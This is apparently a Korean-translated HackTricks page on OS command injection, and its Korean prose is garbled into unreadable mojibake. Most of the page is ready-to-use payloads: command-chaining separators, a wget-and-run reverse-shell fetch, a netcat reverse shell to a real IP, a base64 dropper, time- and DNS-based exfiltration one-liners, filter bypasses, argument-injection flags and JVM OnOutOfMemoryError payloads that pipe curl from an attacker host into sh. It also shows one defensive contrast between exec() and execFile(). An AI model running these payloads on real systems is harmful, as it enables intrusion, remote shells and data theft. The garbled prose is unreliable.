Command Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
command Injection๋ ๋ฌด์์ธ๊ฐ?
A command injection์ ์ ํ๋ฆฌ์ผ์ด์ ์ ํธ์คํ ํ๋ ์๋ฒ์์ ๊ณต๊ฒฉ์๊ฐ ์์์ ์ด์ ์ฒด์ ๋ช ๋ น์ ์คํํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ๊ทธ ๊ฒฐ๊ณผ ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ๊ทธ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์์ ํ ์นจํด๋ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ช ๋ น์ ์คํ์ ์ผ๋ฐ์ ์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ํ๊ฒฝ๊ณผ ํ๋ถ ์์คํ ์ ๋ํด ๋ฌด๋จ ์ ๊ทผ ๋๋ ์ ์ด๋ฅผ ํ๋ํ๊ฒ ํฉ๋๋ค.
์ปจํ ์คํธ
์
๋ ฅ์ด ์ฃผ์
๋๋ ์์น์ ๋ฐ๋ผ ๋ช
๋ น์ ์คํํ๊ธฐ ์ ์ " ๋๋ '์ ์ฌ์ฉํด ์ธ์ฉ๋ ์ปจํ
์คํธ๋ฅผ ์ข
๋ฃํด์ผ ํ ์ ์์ต๋๋ค.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2ยบ if 1ยบ finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ยบ
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
์ ํ Bypasses
๋ง์ฝ arbitrary commands inside a linux machine๋ฅผ ์คํํ๋ ค๊ณ ํ๋ค๋ฉด, ์ด **Bypasses:**์ ๋ํด ์ฝ์ด๋ณด๋ฉด ๋์์ด ๋ ๊ฒ์ ๋๋ค.
์์
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
ํ๋ผ๋ฏธํฐ
๋ค์์ code injection ๋ฐ ์ ์ฌํ RCE ์ทจ์ฝ์ ์ ์ทจ์ฝํ ์ ์๋ ์์ 25๊ฐ ํ๋ผ๋ฏธํฐ์ ๋๋ค (์ถ์ฒ: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
๋ฐ์ดํฐ ์ถ์ถ: ๋ฌธ์ ๋จ์๋ก
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
๋๊ตฌ https://github.com/HoLyVieR/dnsbin๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ฉฐ, dnsbin.zhack.ca์์๋ ํธ์คํ
๋ฉ๋๋ค
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
DNS based data exfiltration์ ํ์ธํ๊ธฐ ์ํ ์จ๋ผ์ธ ๋๊ตฌ:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
JavaScript/TypeScript ๋ฐฑ์๋๋ฅผ ๊ฐ์ฌํ ๋ Node.js child_process API๋ฅผ ์์ฃผ ๋ง๋๊ฒ ๋ฉ๋๋ค.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* โฆ */
});
exec()๋ shell (/bin/sh -c)์ ์คํํ๋ฏ๋ก, shell์ ํน๋ณํ ์๋ฏธ๋ฅผ ๊ฐ๋ ๋ฌธ์๋ค(๋ฐฑํฑ, ;, &&, |, $(), โฆ)์ ์ฌ์ฉ์ ์
๋ ฅ์ ๋ฌธ์์ด์ ๊ฒฐํฉํ ๊ฒฝ์ฐ command injection์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์ํ: execFile()(๋๋ spawn()์ shell ์ต์
์์ด ์ฌ์ฉ)ํ๊ณ ๊ฐ ์ธ์๋ฅผ ๋ณ๋์ ๋ฐฐ์ด ์์๋ก ์ ๊ณตํ์ฌ shell์ด ๊ฐ์
ํ์ง ์๋๋ก ํ์ธ์:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos โค 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
๋ชจ๋ ์ฃผ์
์ด shell ๋ฉํ๋ฌธ์๋ฅผ ํ์๋ก ํ์ง๋ ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ด ์ ๋ขฐํ ์ ์๋ ๋ฌธ์์ด์ ์์คํ
์ ํธ๋ฆฌํฐ์ ์ธ์๋ก ๋๊ธธ ๋(์ฌ์ง์ด execve/execFile๋ก ํธ์ถํ๊ณ shell์ ๊ฑฐ์น์ง ์๋๋ผ๋), ๋ง์ ํ๋ก๊ทธ๋จ์ ์ฌ์ ํ - ๋๋ --๋ก ์์ํ๋ ์ธ์๋ฅผ ์ต์
์ผ๋ก ํด์ํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ shell์ ๊นจ์ง ์๊ณ ๋ ๋์ ๋ชจ๋๋ฅผ ๋ฐ๊พธ๊ฑฐ๋ ์ถ๋ ฅ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ๊ฑฐ๋ ์ํํ ๋์์ ์ ๋ฐํ ์ ์์ต๋๋ค.
Typical places where this appears:
- ๋ด์ฅ๋ ์น UI/CGI ํธ๋ค๋ฌ๊ฐ
ping <user>,tcpdump -i <iface> -w <file>,curl <url>๊ฐ์ ๋ช ๋ น์ ๊ตฌ์ฑํ ๋. - ์ค์ ์ง์คํ CGI ๋ผ์ฐํฐ(์:
/cgi-bin/<something>.cgi์์topicurl=<handler>๊ฐ์ ์ ํ์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ) โ ์ฌ๋ฌ ํธ๋ค๋ฌ๊ฐ ๋์ผํ ์ฝํ ๊ฒ์ฆ๊ธฐ๋ฅผ ์ฌ์ฌ์ฉํ๋ ๊ณณ.
What to try:
-/--๋ก ์์ํ๋ ๊ฐ์ ์ ๊ณตํ์ฌ ํ์ ๋๊ตฌ๊ฐ ํ๋๊ทธ๋ก ์๋นํ๊ฒ ํฉ๋๋ค.- ๋์์ ๋ณ๊ฒฝํ๊ฑฐ๋ ํ์ผ์ ์ฐ๋ ํ๋๊ทธ๋ฅผ ์ ์ฉํฉ๋๋ค. ์:
ping:-f/-c 100000โ ์ฅ์น๋ฅผ ๊ณผ๋ถํ์ํค๊ธฐ ์ํด (DoS)curl:-o /tmp/xโ ์์ ๊ฒฝ๋ก์ ์ฐ๊ธฐ,-K <url>โ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ตฌ์ฑ ๋ก๋tcpdump:-G 1 -W 1 -z /path/script.shโ ์์ ํ์ง ์์ ๋ํผ์์ ๋ก๊ทธ ํ์ ํ ์คํ์ ์ ๋ฐํ๊ธฐ ์ํด- ํ๋ก๊ทธ๋จ์ด
--end-of-options๋ฅผ ์ง์ํ๋ฉด, ์๋ชป๋ ์์น์--๋ฅผ ์ ํํ๋ ๋จ์ํ ์ํ์ฑ ์ ์ฐํํด๋ณด์ธ์.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostic callbacks for guaranteed exec
JVM ๋ช
๋ น์ค ์ธ์๋ฅผ injectํ ์ ์๋ ์ด๋ค primitive๋ (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents ๋ฑ)๋ฅผ ์ด์ฉํ๋ฉด ์ ํ๋ฆฌ์ผ์ด์
๋ฐ์ดํธ์ฝ๋๋ฅผ ์์ ํ์ง ์๊ณ ๋ ์ ๋ขฐํ ์ ์๋ RCE๋ก ์ ํํ ์ ์์ต๋๋ค:
- ๋ฉํ์คํ์ด์ค๋ ํ์ ์ถ์ํ์ฌ ๊ฒฐ์ ๋ก ์ ํฌ๋์๋ฅผ ๊ฐ์ ํฉ๋๋ค:
-XX:MaxMetaspaceSize=16m(๋๋ ์์ฃผ ์์-Xmx). ์ด๋ ์ด๊ธฐ ๋ถํธ์คํธ๋ฉ ๋จ๊ณ์์๋OutOfMemoryError๋ฅผ ๋ณด์ฅํฉ๋๋ค. - ์๋ฌ ํ
์ ์ฐ๊ฒฐํฉ๋๋ค:
-XX:OnOutOfMemoryError="<cmd>"๋๋-XX:OnError="<cmd>"๋ JVM์ด ์ค๋จ๋ ๋๋ง๋ค ์์์ OS ๋ช ๋ น์ ์คํํฉ๋๋ค. - ์ ํ์ ์ผ๋ก
-XX:+CrashOnOutOfMemoryError๋ฅผ ์ถ๊ฐํ์ฌ ๋ณต๊ตฌ ์๋๋ฅผ ํผํ๊ณ ํ์ด๋ก๋๋ฅผ ์ผํ์ฑ์ผ๋ก ์ ์งํ์ธ์.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
์ฐธ๊ณ ์๋ฃ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives โ Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR โ Command Injection โ Root via ISPConfig (CVEโ2023โ46818)
- Unit 42 โ TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


